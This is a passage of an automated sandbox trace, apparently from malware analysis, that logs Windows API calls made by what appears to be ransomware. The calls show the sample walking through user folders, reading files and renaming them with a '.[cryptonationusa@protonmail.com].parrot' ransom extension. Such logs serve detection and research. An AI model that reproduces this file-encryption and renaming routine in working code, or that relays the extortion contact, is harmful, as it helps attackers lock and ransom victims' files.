lpNewFilePointer=0x0) returned 1 [0091.343] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.344] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.345] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\X1toVV2yv-.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\x1tovv2yv-.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\X1toVV2yv-.avi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\x1tovv2yv-.avi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.349] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.349] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0091.350] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.350] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x16512, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x16512, lpOverlapped=0x0) returned 1 [0091.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.354] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.355] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zKc1PsfrWfzt_l6M.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\zkc1psfrwfzt_l6m.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zKc1PsfrWfzt_l6M.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\zkc1psfrwfzt_l6m.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.361] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0091.363] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0091.364] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0091.364] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0091.364] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x223c100 [0091.364] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0091.364] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0091.364] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0091.365] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.365] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.401] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.401] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x49a, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x49a, lpOverlapped=0x0) returned 1 [0091.401] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.402] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.402] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.402] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.402] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.405] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.405] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.407] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.407] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x10b1e, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x10b1e, lpOverlapped=0x0) returned 1 [0091.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.411] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.413] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.416] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.416] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.417] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.417] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x493, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x493, lpOverlapped=0x0) returned 1 [0091.417] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.420] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.420] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.420] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.420] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.423] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.423] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.425] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.425] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x499, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x499, lpOverlapped=0x0) returned 1 [0091.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.426] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.426] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.430] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.430] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.431] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.432] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x496, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x496, lpOverlapped=0x0) returned 1 [0091.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.432] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.432] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.435] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.436] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.451] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.451] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x494, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x494, lpOverlapped=0x0) returned 1 [0091.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.451] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.452] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.456] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0091.456] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0091.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba28 [0091.456] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0091.457] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0091.457] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0091.457] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.457] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.458] CloseHandle (hObject=0x258) returned 1 [0091.459] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.459] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.460] CloseHandle (hObject=0x258) returned 1 [0091.460] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.460] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.461] CloseHandle (hObject=0x258) returned 1 [0091.461] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.461] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.462] CloseHandle (hObject=0x258) returned 1 [0091.462] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.462] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.464] CloseHandle (hObject=0x258) returned 1 [0091.464] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.465] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.466] CloseHandle (hObject=0x258) returned 1 [0091.466] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.466] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.467] CloseHandle (hObject=0x258) returned 1 [0091.467] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.467] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.468] CloseHandle (hObject=0x258) returned 1 [0091.468] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.468] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.469] CloseHandle (hObject=0x258) returned 1 [0091.469] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.469] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.470] CloseHandle (hObject=0x258) returned 1 [0091.470] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.470] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.471] CloseHandle (hObject=0x258) returned 1 [0091.471] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.471] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.472] CloseHandle (hObject=0x258) returned 1 [0091.472] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.472] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.472] CloseHandle (hObject=0x258) returned 1 [0091.473] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.473] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.473] CloseHandle (hObject=0x258) returned 1 [0091.474] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.474] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.474] CloseHandle (hObject=0x258) returned 1 [0091.474] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.475] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.475] CloseHandle (hObject=0x258) returned 1 [0091.475] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.475] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.476] CloseHandle (hObject=0x258) returned 1 [0091.476] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.476] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.477] CloseHandle (hObject=0x258) returned 1 [0091.477] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0091.477] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0091.478] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.478] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0091.489] CloseHandle (hObject=0x260) returned 1 [0091.490] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.490] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0091.490] CloseHandle (hObject=0x260) returned 1 [0091.491] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.491] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, 